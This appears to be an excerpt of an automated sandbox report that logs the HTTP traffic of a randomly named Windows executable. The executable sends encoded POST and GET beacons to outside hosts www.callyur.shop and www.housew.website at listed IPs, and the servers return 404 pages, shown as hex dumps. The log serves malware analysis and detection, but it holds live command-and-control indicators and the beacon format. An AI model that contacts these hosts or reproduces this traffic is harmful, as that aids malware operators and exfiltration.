Nov 20, 2024 08:33:29.217259884 CET	1236	IN	HTTP/1.1 404 Not Found keep-alive: timeout=5, max=100 content-type: text/html transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Wed, 20 Nov 2024 07:33:29 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close Data Raw: 31 33 34 38 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 3a e9 72 e2 5a 7a ff ef 53 10 a7 92 cc 94 da ad 15 90 3c 76 cf 68 43 12 20 21 09 04 88 54 ea 96 d0 8e 56 b4 c3 54 1e 28 af 91 27 cb 11 b6 db 98 b6 6f f7 a4 f2 23 a7 7f 18 9d e5 db 97 d3 df 77 7e fb ed b7 c7 7f e2 16 ec ca 54 f9 41 50 25 f1 b7 df 1e 9f ff 0c c0 78 0c 5c cb f9 f6 db e5 67 e2 56 16 d8 51 e5 f7 ee b1 0e 9b a7 3b 36 4b 2b 37 ad ee ab 53 ee de 0d ec e7 af a7 bb ca ed 2a b8 07 f1 97 81 1d 58 45 e9 56 4f 75 e5 dd 93 77 9f c2 b1 ec c0 bd ef cf 17 59 7c 05 28 cd ee ed 7e e9 d3 83 6a 61 f9 89 f5 8f 9c e0 bb 3c 2c dc f2 ea 08 f2 0e 7a 6a 25 ee d3 5d 13 ba 6d 9e 15 d5 d5 b6 36 74 aa e0 c9 71 9b d0 76 ef 2f 1f 5f 06 61 1a 56 a1 15 df 97 b6 15 bb 4f e8 d7 ef a0 aa b0 8a dd 6f 04 42 0c 94 ac 1a 4c b2 3a 75 1e e1 e7 c9 67 51 96 d5 29 76 07 bd dc 5e c4 65 97 e5 0b 1d bd a8 f7 99 73 1a fc fd b2 b5 ff ec 87 07 a4 73 ef 59 49 18 9f 1e 06 74 01 d0 7e 19 88 6e dc b8 55 68 5b 5f 06 a5 95 96 f7 a5 5b 84 de 5f 7e 3c 56 86 67 f7 61 80 12 79 f7 7e 31 0e 53 f7 [TRUNCATED] Data Ascii: 1348:rZzS<vhC !TVT('o#w~TAP%x\gVQ;6K+7S*XEVOuwY\|(~ja<,zj%]m6tqv/_aVOoBL:ugQ)v^essYIt~nUh[_[_~<Vgay~1S>pC?W#cEPQ.5lc8~-'L\|b~]YUnq#',$r#{Y._EYZae77Whqo_YC?:]V{LW]djW\|,u"!-q]Ykt7p=W;_bNmkx["~}XIy%a~p0}seqYUel/+[BGWxV{Da) kev]~l8z+="WD\|nq#EF7=-L/1euI+ 2x#W+u7y]qh81\4ml[z7/FK90[5~g{9r@K~gE/k.AHrT~+q@&[]&N>8&r!<.#m\u~^O
Nov 20, 2024 08:33:29.217322111 CET	1236	IN	Data Raw: df d4 f0 46 cf df 12 d7 09 ad c1 9f 12 10 48 5f 14 33 1e 91 79 f7 e7 1b 34 b7 56 7b b3 dc 0b 2f cf ca 4b 86 7a 18 14 6e 0c 62 5d 73 e3 80 fd 9e 3e 62 01 ff 69 1f 06 41 e8 38 6e fa 46 52 bf da 8f ab fc 74 b1 ec 67 bf 7e bf ef 8d fc fe c4 2d 69 1f Data Ascii: FH_3y4V{/Kznb]s>biA8nFRtg~-if~w1@D.E=)QW@{zk~ \A;'T<P,U.eU}#?=2G?f=?p}us\G^YBn
Nov 20, 2024 08:33:29.217359066 CET	1236	IN	Data Raw: 89 53 73 58 32 db 70 d1 e9 a2 ef f2 33 3b d9 cb 12 65 db a2 ce 3a 9d e1 9a 56 3a c9 b5 a9 cc 18 9c 34 e9 5a d4 0e a6 21 43 67 49 74 c6 3b 02 8f a1 b4 de 08 c9 26 88 b4 12 b1 46 e6 d8 14 d7 ee 78 8c 25 68 b5 8b 0d 86 0f 66 12 15 8d d2 7a ce 93 fb Data Ascii: SsX2p3;e:V:4Z!CgIt;&Fx%hfzlY^tTqf76@gk&h`9q;wCkA:4C}3-FID3Bm}C4j"(K)'taBSbcm}tX6oEIb-RmO
Nov 20, 2024 08:33:29.217391968 CET	1236	IN	Data Raw: 00 4e ad 32 4d 7b 3e 2e e2 7a d5 04 1c b3 66 30 8b 90 4e 1d 4c 18 dd bc e8 48 3f 3b d9 1b c4 e0 fd 05 71 c2 e6 b8 08 19 f1 70 2b c1 44 93 d9 a3 62 17 d1 38 93 37 78 7a f0 96 70 1a e8 63 12 05 a1 59 19 55 c4 c2 dd 74 5a 57 47 a9 5f 4f d1 25 49 d0 Data Ascii: N2M{>.zf0NLH?;qp+Db87xzpcYUtZWG_O%IN-}R=c^Dfi~vc6gE7#[[tpPJ`fx{Bf!<mx8,~D2twhpS8&K/:< A4r\& j~HuN[u
Nov 20, 2024 08:33:29.217482090 CET	284	IN	Data Raw: 03 f8 27 e0 af 98 ba ae 29 7f c2 cb 35 f9 b7 96 fa 99 39 fd e9 c5 9e fe fc a9 10 2e 7c be 57 e1 35 a2 e7 e5 3f 12 14 90 e2 3b de 9f 25 74 f7 ed 11 fe ec d4 23 fc 91 56 6e ec e8 03 ba ae 22 c1 2b 89 8f cf 1d bc f7 72 fe 65 a3 7a f5 ed fe e1 d6 03 Data Ascii: ')59.\|W5?;%t#Vn"+rezdhn;3J~/6H[au&.3}Ot<i%O $\*<{PSH`y~~l>?ZzfeE~o((>PG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	50016	66.29.137.10	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:33:31.169580936 CET	1847	OUT	POST /hayl/ HTTP/1.1 Host: www.callyur.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 1249 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.callyur.shop Referer: http://www.callyur.shop/hayl/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 32 73 6f 56 59 2f 42 43 4b 77 52 78 6f 61 68 37 6c 68 5a 66 65 53 38 55 64 42 31 6b 44 42 44 39 56 65 31 72 54 58 44 56 52 34 4e 78 74 4c 52 72 6b 70 47 4b 43 4c 43 43 64 34 2f 4c 33 6a 42 5a 35 30 39 4a 6d 64 72 34 6c 32 35 48 72 31 41 70 32 77 51 74 4d 7a 42 75 74 4a 61 68 38 72 4f 34 41 71 53 4d 67 62 31 65 31 65 61 76 33 48 4a 41 6f 56 56 63 31 45 36 51 77 69 41 66 70 78 79 6d 45 62 36 6e 75 50 39 69 46 74 36 6a 73 31 45 2f 37 2f 57 76 78 6a 63 31 4e 5a 63 4d 55 6f 79 51 52 76 34 72 45 69 49 77 2b 71 4d 4a 58 39 52 46 4e 4a 5a 47 63 5a 6f 78 6c 37 77 59 63 34 55 4e 55 4a 55 30 79 72 61 54 71 58 47 30 38 6c 4c 2f 36 4d 64 5a 52 71 6a 50 66 39 43 39 6c 41 56 59 54 5a 6c 33 61 53 49 55 72 32 38 44 4f 49 48 75 7a 6b 5a 32 73 65 67 6d 7a 70 62 6a 75 51 6a 44 73 65 34 36 6e 74 49 33 78 61 46 66 6b 79 4f 72 6c 32 58 65 2b 64 75 71 76 4c 63 61 32 6b 54 4a 4f 74 58 41 54 5a 34 47 42 67 59 77 42 49 42 7a 48 39 61 48 50 4b 49 79 44 50 33 4f 73 62 76 2b 52 37 61 44 71 49 39 6e 31 [TRUNCATED] Data Ascii: GR54yHZ8=2soVY/BCKwRxoah7lhZfeS8UdB1kDBD9Ve1rTXDVR4NxtLRrkpGKCLCCd4/L3jBZ509Jmdr4l25Hr1Ap2wQtMzButJah8rO4AqSMgb1e1eav3HJAoVVc1E6QwiAfpxymEb6nuP9iFt6js1E/7/Wvxjc1NZcMUoyQRv4rEiIw+qMJX9RFNJZGcZoxl7wYc4UNUJU0yraTqXG08lL/6MdZRqjPf9C9lAVYTZl3aSIUr28DOIHuzkZ2segmzpbjuQjDse46ntI3xaFfkyOrl2Xe+duqvLca2kTJOtXATZ4GBgYwBIBzH9aHPKIyDP3Osbv+R7aDqI9n1kEf2X9sMs7CYYeM5NFrilRxYcDNtmccZgedGZdwlDD+z5Esu/0xlqffeJr2dVhvd5Fem0kXCGAaJhaWLB6JftVizg/Y4te9fsbvxPPkglRZCgWLCaSWm9vEweLBS1Ho1XQLRWHuXBcTJC3IUONUC93jYWZdHdleDS1aQTTTRX+2ynvbrIcXlfHZDtixFpWH4JHaFrqsBK566Qw69ClDjfyc6QepCzOcqv416x+sf+kaikJw8zfW+so57iSQS9Dt1liAyKbYIn212/yRFHOfXImjIC5YYYIZKq6Gs+4sU9pVscbgY9dbi55ZBs13tO7ijF0lLsw+LGJkU2Mv0obGtfmtQ9vO/YNRxR3yQ8xoua95Yy23MkeHvm9sfO8TVZzexGIoOynWW7wiTYHW8P6jlR2HRTG1fmC8pkB1LaYfa/z6HTMlOtZiz6ILSdMtcBF0lPjcCkkPEzpPxd//2CgF09Nv//LfTqCTWp2wNCrui3jqG37OT7ezB4zKSZUjaBglyuoz/qUDnFRS4e9Du3xgQ/Q1q/NzsDDo/Nk1Pl8UqbwYVvMX+KN0qVzsvfJTp1WE2AtUlgEAu4NYD5N7hXvfc2Q9qbs86PmKrGuEo9zAHDkXrocwlVI0B9de7QVjAlLoNTec+NmzbSP+LOLEY7ql6XKbrPDj1iygOeH [TRUNCATED]
Nov 20, 2024 08:33:31.752266884 CET	1236	IN	HTTP/1.1 404 Not Found keep-alive: timeout=5, max=100 content-type: text/html transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Wed, 20 Nov 2024 07:33:31 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close Data Raw: 31 33 34 38 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 3a e9 72 e2 5a 7a ff ef 53 10 a7 92 cc 94 da ad 15 10 1e bb 67 b4 21 09 90 90 04 02 44 2a 75 4b bb 84 56 b4 c3 54 1e 28 af 91 27 cb 11 b6 db 98 b6 6f f7 a4 f2 23 a7 7f 18 9d e5 db 97 d3 df 77 7e fb ed b7 c7 7f 62 97 cc da 50 b8 41 50 25 f1 b7 df 1e 9f ff 0c c0 78 0c 5c d3 f9 f6 db e5 67 e2 56 26 d8 51 e5 f7 ee b1 0e 9b a7 3b 26 4b 2b 37 ad ee ab 53 ee de 0d ec e7 af a7 bb ca ed 2a b8 07 f1 97 81 1d 98 45 e9 56 4f 75 e5 dd 93 77 9f c2 31 ed c0 bd ef cf 17 59 7c 05 28 cd ee ed 7e e9 d3 83 4a 61 fa 89 f9 8f 9c e0 ba 3c 2c dc f2 ea 08 f2 0e 7a 6a 26 ee d3 5d 13 ba 6d 9e 15 d5 d5 b6 36 74 aa e0 c9 71 9b d0 76 ef 2f 1f 5f 06 61 1a 56 a1 19 df 97 b6 19 bb 4f e8 d7 ef a0 aa b0 8a dd 6f 04 42 0c e4 ac 1a 4c b3 3a 75 1e e1 e7 c9 67 51 96 d5 29 76 07 bd dc 5e c4 65 97 e5 0b 1d bd a8 ad cc 39 0d fe 7e d9 da 7f f6 c3 03 d2 b9 f7 cc 24 8c 4f 0f 03 aa 00 68 bf 0c 04 37 6e dc 2a b4 cd 2f 83 d2 4c cb fb d2 2d 42 ef 2f 3f 1e 2b c3 b3 fb 30 40 89 bc 7b bf 18 87 a9 7b [TRUNCATED] Data Ascii: 1348:rZzSg!DuKVT('o#w~bPAP%x\gV&Q;&K+7SEVOuw1Y\|(~Ja<,zj&]m6tqv/_aVOoBL:ugQ)v^e9~$Oh7n/L-B/?+0@{{T`+1J`,(?{~61yf>1?LMwK,XylYXqfGgbz&>v= %^g)E5W`y}zre.2qyVANYf$?Se/5q+e\|HooKa@\WZk0\OWe]qyKS>0`G?Rqaxc-+I+^kgaB[A=WxD3WC5nqe_x2.?_6Ain=WD\|nq#EF7=-L/1euI+ 2x#W+u7y]qh81\4ml[z7/FK901[5~g{9r@K~y5?67=_$u` +%nC$y}VC625?- :3>4D%~)
Nov 20, 2024 08:33:31.752319098 CET	1236	IN	Data Raw: 9b 1a de e8 f9 5b e2 3a a1 39 f8 53 02 02 e9 8b 62 c6 23 32 ef fe 7c 83 e6 d6 6a 6f 96 7b e1 e5 59 79 c9 50 0f 83 c2 8d 41 ac 6b 6e 1c b0 df d3 47 2c e0 3f ed c3 20 08 1d c7 4d df 48 ea 57 fb 71 95 9f 2e 96 fd ec d7 ef f7 bd 91 df 9f b8 25 ed c3 Data Ascii: [:9Sb#2\|jo{YyPAknG,? MHWq.%,o?FH"{/j_vGI?)':KCKY~Ui0,fHb5*M~k\Ufq]}\/W{z
Nov 20, 2024 08:33:31.752335072 CET	1236	IN	Data Raw: 7c b2 80 45 a3 0d 97 9d 26 f8 2e 37 b7 13 4b 12 27 b6 2d 68 8c d3 e9 ae 61 a6 d3 5c 9d 49 b4 ce 8a d3 ae 45 ed 60 16 d2 54 96 44 67 bc 23 f0 18 4a eb 2d 9f 6c 83 48 2d 11 73 64 8c 0d 61 e3 8e c7 58 82 56 fb 58 a7 b9 60 2e 4e a2 51 5a 2f 38 d2 3a Data Ascii: \|E&.7K'-ha\IE`TDg#J-lH-sdaXVX`.NQZ/8:7+NekvLm>CU>GpN+MNg\`5~[Jy<e6epZ%2]NELjnC(+/WbNhCKqHPvlDQHR
Nov 20, 2024 08:33:31.752351046 CET	672	IN	Data Raw: 70 6a 85 6e da f3 71 19 d7 eb 26 60 e9 0d 8d 99 84 78 ea 60 42 ef 16 45 47 fa d9 c9 de 22 3a e7 2f 89 13 b6 c0 05 48 8f 87 3b 11 26 9a cc 1e 15 fb 88 c2 e9 bc c1 d3 83 b7 82 d3 40 1b 93 28 08 cd f2 a8 22 96 ee b6 53 bb 3a 4a fd 7a 86 ae 48 82 d2 Data Ascii: pjnq&`x`BEG":/H;&@("S:JzH4Bkctj-L)4e9LDNA9+ligH]{E\0[ 7qLlMBP4ywL>\y9M^2(lxUGTZ2Zl
Nov 20, 2024 08:33:31.752413034 CET	848	IN	Data Raw: 3d de 46 94 45 a2 d1 99 f4 b8 6c 28 9b 48 41 a9 86 4e ce 55 6e 0b 72 5f 44 99 a6 97 6a 4a b8 e3 78 41 61 18 cb 4e bb 3c 10 39 45 49 83 9d 3d d9 45 9a 5c 0b 01 ce b4 e4 6c 57 b9 2e b3 19 ef 0f 3e dc d6 26 69 f0 31 be 6b 58 5d 39 c1 36 4c 35 0e 01 Data Ascii: =FEl(HANUnr_DjJxAaN<9EI=E\lW.>&i1kX]96L52:/i+OO&>m\> @Ow~}YiCGGxy7_E;=G'lvlU?Au}x>~Nw^x\|v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	50017	66.29.137.10	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:33:33.711628914 CET	554	OUT	GET /hayl/?GR54yHZ8=7uA1bLkCaR9ampYb6jJSXGsXTCFtFEKjMbBrHkb2OaN+7KcXsqyJMoKLTM78+R5XhUdg+bLytXUVrFAv0hUdKTwX6reWgqWzJPe83oti/Pnp22FBmmdcqVWV2wV/tDaQIoOgzZo=&9xn=fHadNpk8MVax HTTP/1.1 Host: www.callyur.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0)
Nov 20, 2024 08:33:34.314476013 CET	1236	IN	HTTP/1.1 404 Not Found keep-alive: timeout=5, max=100 content-type: text/html transfer-encoding: chunked date: Wed, 20 Nov 2024 07:33:34 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close Data Raw: 32 37 37 35 0d 0a 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 [TRUNCATED] Data Ascii: 2775<!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>404 Not Found</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; [TRUNCATED]
Nov 20, 2024 08:33:34.314532995 CET	1236	IN	Data Raw: 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 Data Ascii: } .status-reason { font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat: no-rep
Nov 20, 2024 08:33:34.314567089 CET	1236	IN	Data Raw: 2d 69 6d 61 67 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: -image { padding: 10px; } .info-heading { font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .info-server address {
Nov 20, 2024 08:33:34.314598083 CET	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 69 6d 61 67 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: font-size: 18px; } .info-image { float: left; } .info-heading { margin: 62px 0 0 98px; } .info-server address { te
Nov 20, 2024 08:33:34.314630985 CET	1236	IN	Data Raw: 39 42 34 51 55 7a 73 56 31 58 4b 46 54 7a 44 50 47 2b 4c 66 6f 4c 70 45 2f 4c 6a 4a 6e 7a 4f 30 38 51 43 41 75 67 4c 61 6c 4b 65 71 50 2f 6d 45 6d 57 36 51 6a 2b 42 50 49 45 37 49 59 6d 54 79 77 31 4d 46 77 62 61 6b 73 61 79 62 53 78 44 43 41 34 Data Ascii: 9B4QUzsV1XKFTzDPG+LfoLpE/LjJnzO08QCAugLalKeqP/mEmW6Qj+BPIE7IYmTyw1MFwbaksaybSxDCA4STF+wg8rH7EzMwqNibY38mlvXKDdU5pDH3TRkl40vxJkZ+DO2Nu/3HnyC7t15obGBtqRFRXo6+0Z5YQh5LHd9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTE
Nov 20, 2024 08:33:34.314661980 CET	1236	IN	Data Raw: 70 34 56 46 69 4c 38 57 4d 2f 43 6c 38 53 46 34 70 67 74 68 76 74 48 6d 34 71 51 55 49 69 51 64 59 2b 35 4e 4d 66 75 2f 32 32 38 50 6b 71 33 4e 5a 4e 4d 71 44 31 57 37 72 4d 6e 72 77 4a 65 51 45 6d 49 77 4b 73 61 63 4d 49 2f 54 56 4f 4c 6c 48 6a Data Ascii: p4VFiL8WM/Cl8SF4pgthvtHm4qQUIiQdY+5NMfu/228Pkq3NZNMqD1W7rMnrwJeQEmIwKsacMI/TVOLlHjQjM1YVtVQ3RwhvORo3ckiQ5ZOUzlCOMyi9Z+LXREhS5iqrI4QnuNlf8oVEbK8A556QQK0LNrTj2tiWfcFnh0hPIpYEVGjmBAe2b95U3wMxioiErRm2nuhd8QRCA8IwTRAW1O7PAsbtCPyMMgJp+1/IaxqGARzrFtt
Nov 20, 2024 08:33:34.314698935 CET	1236	IN	Data Raw: 57 78 51 78 75 6b 6e 67 75 4a 31 53 38 34 41 52 52 34 52 77 41 71 74 6d 61 43 46 5a 6e 52 69 4c 32 6c 62 4d 2b 48 61 41 43 35 6e 70 71 2b 49 77 46 2b 36 68 68 66 42 57 7a 4e 4e 6c 57 36 71 43 72 47 58 52 79 7a 61 30 79 4e 4f 64 31 45 31 66 73 59 Data Ascii: WxQxuknguJ1S84ARR4RwAqtmaCFZnRiL2lbM+HaAC5npq+IwF+6hhfBWzNNlW6qCrGXRyza0yNOd1E1fsYUC7UV2Jop7XyXbsw90KYUInjpkRcecWfkEmdCAehgueuTmNt+shkReKd3v67nP9cNDJHvoD++xdvpovXKCp5SfoGxHsj0yF+IwHUus7smVh8IHVGIwJtLy7uN6Pe/wAnrBxOnAayISLWkQ8woBKyR++dUTsuEK+L8
Nov 20, 2024 08:33:34.314790010 CET	1236	IN	Data Raw: 6f 6e 20 63 6c 61 73 73 3d 22 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 63 6f 64 65 22 3e 34 30 34 3c 2f 73 70 61 6e 3e 0a 20 20 20 Data Ascii: on class="response-info"> <span class="status-code">404</span> <span class="status-reason">Not Found</span> </section> <section class="contact-info"> Please forward this
Nov 20, 2024 08:33:34.314826012 CET	443	IN	Data Raw: 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 63 70 61 6e 65 6c 2e 63 6f 6d 2f 3f 75 74 6d 5f 73 6f 75 72 63 65 3d 63 70 61 6e 65 6c 77 68 6d 26 75 74 6d Data Ascii: ="container"> <a href="http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=404referral" target="cpanel" title="cPanel, Inc."> <img src="/img-sys/powered_by_cpanel.svg"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	50018	203.161.46.205	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:33:39.395322084 CET	816	OUT	POST /4pih/ HTTP/1.1 Host: www.housew.website Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 213 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.housew.website Referer: http://www.housew.website/4pih/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 55 6b 6e 51 44 55 68 44 4c 6c 5a 32 61 51 32 53 56 76 42 37 46 48 4b 7a 49 71 65 74 64 71 4d 4d 2b 65 66 33 32 77 72 71 6d 43 53 2b 6a 32 6d 6f 4d 35 38 77 36 68 6c 65 68 73 51 4a 41 54 31 64 77 42 55 4f 56 43 67 41 41 32 4b 47 42 37 6c 45 38 42 30 33 62 63 4b 72 6d 2f 48 66 73 38 48 31 45 33 6d 47 79 37 54 6a 32 51 43 39 7a 77 64 4e 69 63 6f 50 7a 58 50 2b 34 5a 6d 44 4e 53 57 33 52 49 6c 31 32 2b 73 41 5a 58 57 61 6a 76 6c 77 6b 74 55 32 79 2f 6d 76 67 4a 51 77 39 6a 47 78 46 46 36 62 2f 39 62 41 33 47 66 31 59 41 30 6f 7a 6c 51 78 69 46 30 2b 66 42 39 2f 41 2f 71 46 43 53 70 5a 69 50 35 54 4f 45 6e 70 Data Ascii: GR54yHZ8=UknQDUhDLlZ2aQ2SVvB7FHKzIqetdqMM+ef32wrqmCS+j2moM58w6hlehsQJAT1dwBUOVCgAA2KGB7lE8B03bcKrm/Hfs8H1E3mGy7Tj2QC9zwdNicoPzXP+4ZmDNSW3RIl12+sAZXWajvlwktU2y/mvgJQw9jGxFF6b/9bA3Gf1YA0ozlQxiF0+fB9/A/qFCSpZiP5TOEnp
Nov 20, 2024 08:33:39.962527037 CET	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 07:33:39 GMT Server: Apache Content-Length: 16052 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
